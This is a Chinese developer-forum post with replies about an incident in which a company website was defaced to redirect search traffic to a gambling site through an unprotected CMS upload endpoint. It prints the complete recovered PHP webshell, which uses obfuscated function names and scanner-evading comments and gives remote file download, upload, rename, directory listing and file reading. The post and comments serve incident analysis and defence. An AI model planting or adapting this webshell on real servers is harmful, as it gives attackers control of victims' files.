记一次官网被黑的经历
今天下午五点左右收到通知说微信公众号的官网链接被限制访问了,上线一看,官网被黑了,百度通过关键字搜到官网条目,点进去直接跳转到一个博彩网站,这就尴尬了,才一天不上班网站就被黑出翔,实在蛋疼。
于是百度搜解决方案,查看网站首页源代码,发现不对劲
上服务器一看,几乎整个网站根目录都被替换了
原本正常代码目录应该是这样的
正常的index.php的内容应该如下
结果现在的网站目录变成这样了
目录无变化,但是文件TMD除了index.php以外其他文件都没了,这就尴尬了
查看现在的index.php的内容
直接变成个html文档了我去。
然后把出文件全部替换回来,网站恢复正常
接下来寻找被黑原因
进服务器执行history命令查看操作命令
未发现异常
推测不是ssh被攻破
是网站代码问题
很有可能是cms的漏洞
在网站根目录通过find ./ -mtime -l 命令查看最近24小时修改过的文件
发现upload目录下有修改过的文件,进去查看
发现被人上传了个脚本,很郁闷,之前没查看上传接口,原来这CMS不做上传防御的,不做防御就算了,上传文件之后还不会自动把文件重命名的,这游戏能玩?
查看了下脚本内容
最后清除了脚本后,亡羊补牢,设置nginx在上传目录下禁止执行php文件
调整了下攻击脚本的格式,内容如下
<?php
error_reporting(0);
$sr="st"./*+/*+*/"rr"/*+/*+*/."ev";
$id=$sr/*+/*+*/("ri"."d_"."si");
$rn=$sr/*+/*+*/("em"."an"."er");
$dn=$sr/*+/*+*/("em"."anr"."id");
$od=$sr/*+/*+*/("ri"."dne"."po");
$rd=$sr/*+/*+*/("ri"."dda"."er");
$cd=$sr/*+/*+*/("ri"."deso"."lc");
$fpc=$sr/*+/*+*/("stn"."etn"."oc_t"."up_e"."lif");
$fgc=$sr/*+/*+*/("stn"."etn"."oc_t"."eg_e"."lif");
$muf=$sr/*+/*+*/("eli"."f_d"."eda"."olp"."u_e"."vom");
$dlform='<form method="post">
FN:<input name="fn" size="20" type="text">
URL:<input name="url" size="50" type="text">
<input type="submit" value="ok">
</form>';
$ulform='<form method="post" enctype="multipart/form-data">
<input name="uf" type="file">
SP:<input name="sp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$rnform='<form method="post">
ON:<input name="on" size="50" type="text">
NN:<input name="nn" size="50" type="text">
<input type="submit" value="ok"></form>';
$lpform='<form method="post">
DP:<input name="dp" size="50" type="text">
<input type="submit" value="ok">
</form>';
$sfform='<form method="post">
DF:<input name="df" size="50" type="text">
<input type="submit" value="ok">
</form>';
if($_GET['act']=='dl')
{
echo($dlform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$fpc/*+/*+*/($_POST['fn'],$fgc/*+/*+*/($_POST['url']));
}
exit;
}
if($_GET['act']=='ul')
{
echo($ulform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$sp=empty($_POST['sp'])?'./':$_POST['sp'].'/';$muf/*+/*+*/($/*+/*+*/{"_F"."IL"."ES"}["uf"]["tmp_name"],$sp.$/*+/*+*/{"_F"."IL"."ES"}["uf"]["name"]);
}
exit;
}
if($_GET['act']=='rn'){
echo($rnform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$rn/*+/*+*/($_POST['on'],$_POST['nn']);
}
exit;
}
if($_GET['act']=='gp')
{
echo($dn/*+/*+*/(__FILE__));
exit;
}
if($_GET['act']=='lp')
{
echo($lpform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$dp=$_POST['dp'].'/';
$h=$od/*+/*+*/($dp);
while(($fn=$rd/*+/*+*/($h))!==false)
{
if($id/*+/*+*/($dp.$fn))
{
$t1.='D '.$fn.'<br>';
} else {
$t2.=' '.$fn.'<br>';
}
}
$cd/*+/*+*/($dp);
echo($dp.'<br>'.$t1.$t2);
}
exit;
}
if($_GET['act']=='sf')
{echo($sfform);
if($_SERVER['REQUEST_METHOD']=='POST')
{
$df=$_POST['df'];
echo('<textarea style="width:100%;height:100%;" wrap="off">'.$fgc/*+/*+*/($df).'</textarea>');
}
exit;
}
?>
看着这攻击脚本有点疑问,看不太懂,希望有能看懂的同学一起交流下,另外脚本有大段的./+/+*/ 这种注释,这种注释到底有什么用,或者说,这不仅仅是注释?还请有明白的同学指点一番
本作品采用《CC 协议》,转载必须注明作者和本文链接
关于 LearnKu
高认可度评论:
主要功能:获取当前目录,扫描目录,获取文件内容,上传木马。
大概的内容如下:
/*+/*+*/在代码层面没有任何作用,主要是用来绕过一些智障的木马扫描器tp吧 修复最近新公布的那几个漏洞了吗
@月殇 没有呢,新官网已经重构好了,下周上线,不用这套了
别用 都是 webinstall 的 漏洞贼多
新官网用的什么呢 看来tp是不好搞了
还是用拉瓦了
/*+/*+*/在代码层面没有任何作用,主要是用来绕过一些智障的木马扫描器主要功能:获取当前目录,扫描目录,获取文件内容,上传木马。
大概的内容如下:
有人用帝国cms碰到过这个
@showcj 很6
恐怖:scream:
同被黑的路过,tp漏洞,杀完木马升级补丁ok
之前用过
服务器空间, 也就是一台服务器分出来很多块, 卖给很多人, 有一次我发现通过php的这些个目录操作函数, 文件操作函数, 可以读取出卖给别人的空间(也就是目录),还可以删除文件..这个脚本估计是自己写的, 比较简单, 前几天也发现了一个朋友的 tp5 网站被上传木马了.
主要也是静态化
index.php文件, 加入跳转到博彩网站 js , 但是比较狡猾的是, 仅对于搜索引擎来源的进行跳转, 直接访问的不会跳转, 这样自己人不易发现.然后, 在升级框架过程中, 发现了 5 种不同的后门脚本遍布在各个目录下, 同时文件名也是伪装成相似的文件名. 文件内容都是加密了, 功能十分丰富, 文件管理, sql, shell 等功能.
PS: 没有把 public 作为 web 根目录这个也是有点风险点. 建议楼主再次扫描一下其他目录下还有没有残留的.
@ivothgle 没错的,一样的,我也发现了六七个其他的脚本,很蛋疼,哈哈,不过这套代码已经不用了
老东家同tp做的官网被攻击挂马,不过没人维护,所以也没用了
学习了